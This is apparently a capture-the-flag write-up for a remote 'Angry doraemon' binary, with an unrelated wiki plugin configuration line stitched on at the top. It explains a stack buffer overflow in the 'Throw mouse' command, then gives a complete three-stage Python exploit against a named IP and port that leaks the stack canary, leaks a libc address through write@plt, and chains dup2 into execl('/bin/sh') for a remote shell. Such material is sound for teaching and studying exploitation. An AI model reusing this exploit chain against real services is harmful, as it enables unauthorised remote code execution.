$plugins['authad'] = '0'; $plugins['authldap'] = '1'; $plugins['authmysql'] = '0'; $plugins['authpgsql'] = '0';
We have to exploit a remote binary. The binary accepts various commands from the user, and mostly just prints out some text in response:
$ nc 58.229.183.18 8888 9eeeeeeeeeeeeeeG5 9eee9zXXEeEXWXEeEDD#GeeeD #ee9DXXXXXeD XeXXX55D9eez ee9DXXX555yED We#eeee#XX#eeu #ez55z9Geeeeee y ez, DeeD5zeeu ... ue 9z We, e# zeeeeeE Angry doraemon! fight! Waiting 2 seconds... Doraemon H.P: 100 - Attack menu - 1.Sword 2.Screwdriver 3.Red-bean bread 4.Throw mouse 5.Fist attack 6.Give up >1 1)Toy sword 2)Small sword 3)Big sword 2 "Come on! (HP - 1)" "Hahaha, I'm a robot!" Doraemon H.P: 99 - Attack menu - 1.Sword 2.Screwdriver 3.Red-bean bread 4.Throw mouse 5.Fist attack 6.Give up
The program has a stack-based buffer overflow vulnerability in the “Throw mouse” function. It reads 110 bytes in a 4 bytes buffer on the stack.
write(fd, "Are you sure? (y/n) ", 0x14u); read(fd, &buf, 110u); if ( (_BYTE)buf == 'y' ) { v3 = sprintf(s, "You choose '%s'!\n", &buf); write(fd, s, v3); v4 = read(v6, s, 0x1388u); write(fd, s, v4); write(fd, "\n\"MOUSE!!!!!!!!! (HP - 25)\"\n", 0x1Cu); hp -= 25; }
However, the program is compiled with stack canaries, so we must bypass it in order to make a working exploit.
To do this, we notice that the program is also printing the contents of the buffer as a string (if the first char is 'y'). We can use this to leak the canary value. If we overwrite the entire stack up to and including the 0x00 byte of the canary with 'a'-s, we'll be able to leak the other 3 bytes of the canary. We find the required number of bytes for this to be 11.
Now we can control the return address and make the program jump to any address we like. We point it to write@plt in order to find out the libc base address. Next, with the libc address in place, we can now do a return-to-libc and get our shell. We already have a call to execl(“/bin/sh”) in the binary, so we only use libc for the dup2.
To summarize, the exploit will have three phases:
#!/usr/bin/env python import telnetlib import pexpect import time import sys from struct import pack, unpack from remote_shell_client import RemoteShellClient REMOTE = True if REMOTE: c = pexpect.spawn('bash -c "stty raw && nc 58.229.183.18 8888"', timeout=None) else: c = pexpect.spawn('bash -c "stty raw && nc localhost 8888"', timeout=None) c.expect('>') c.send(pack('<L', ord('4'))) c.expect_exact('Are you sure? (y/n)') c.send('yaaaaaaaaaa') s = c.read(100) k = s.rfind('yaaaaaaaaaa') k += len('yaaaaaaaaaa') k -= 1 cookie = unpack('<L', s[k:k+4])[0] cookie &= 0xffffff00 print "found cookie = %x" % cookie c.close() # ------------------ stage 2 if REMOTE: c = pexpect.spawn('bash -c "stty raw && nc 58.229.183.18 8888"', timeout=None) else: c = pexpect.spawn('bash -c "stty raw && nc localhost 8888"', timeout=None) c.expect('>') c.send(pack('<L', ord('4'))) c.expect_exact('Are you sure? (y/n)') p = '' p += pack('<L', 0x80486e0) # write@plt p += pack('<L', 0xbbbbbbb) # dummy p += pack('<L', 4) # fd p += pack('<L', 0x804b038) # &libc_start_main p += pack('<L', 4) # size c.send('a' * 10 + pack('<L', cookie) + 'a' * 12 + p) libc_start_main = unpack('<L', c.read(100)[-4:])[0] print "libc_start_main %x" % libc_start_main c.close() # ------------------ stage 3 if REMOTE: c = pexpect.spawn('bash -c "stty raw && nc 58.229.183.18 8888"', timeout=None) else: c = pexpect.spawn('bash -c "stty raw && nc localhost 8888"', timeout=None) c.expect('>') c.send(pack('<L', ord('4'))) c.expect_exact('Are you sure? (y/n)') pop3_ret = 0x8048b2c pop2_ret = 0x8048b2d if REMOTE: libc_base = libc_start_main - 0x00019810 libc_dup2 = libc_base + 0x000e11f0 else: libc_base = libc_start_main - 0x0001cbd0 libc_dup2 = libc_base + 0x000e4740 p = '' p += pack('<L', libc_dup2) p += pack('<L', pop2_ret) p += pack('<L', 4) p += pack('<L', 0) p += pack('<L', libc_dup2) p += pack('<L', 0x8048c62) # the address of the call to execl("/bin/sh") inside the code p += pack('<L', 4) p += pack('<L', 1) c.send('a' * 10 + pack('<L', cookie) + 'a' * 12 + p) time.sleep(1) print 'starting shell' sh = RemoteShellClient(c.fileno()) sh.interact()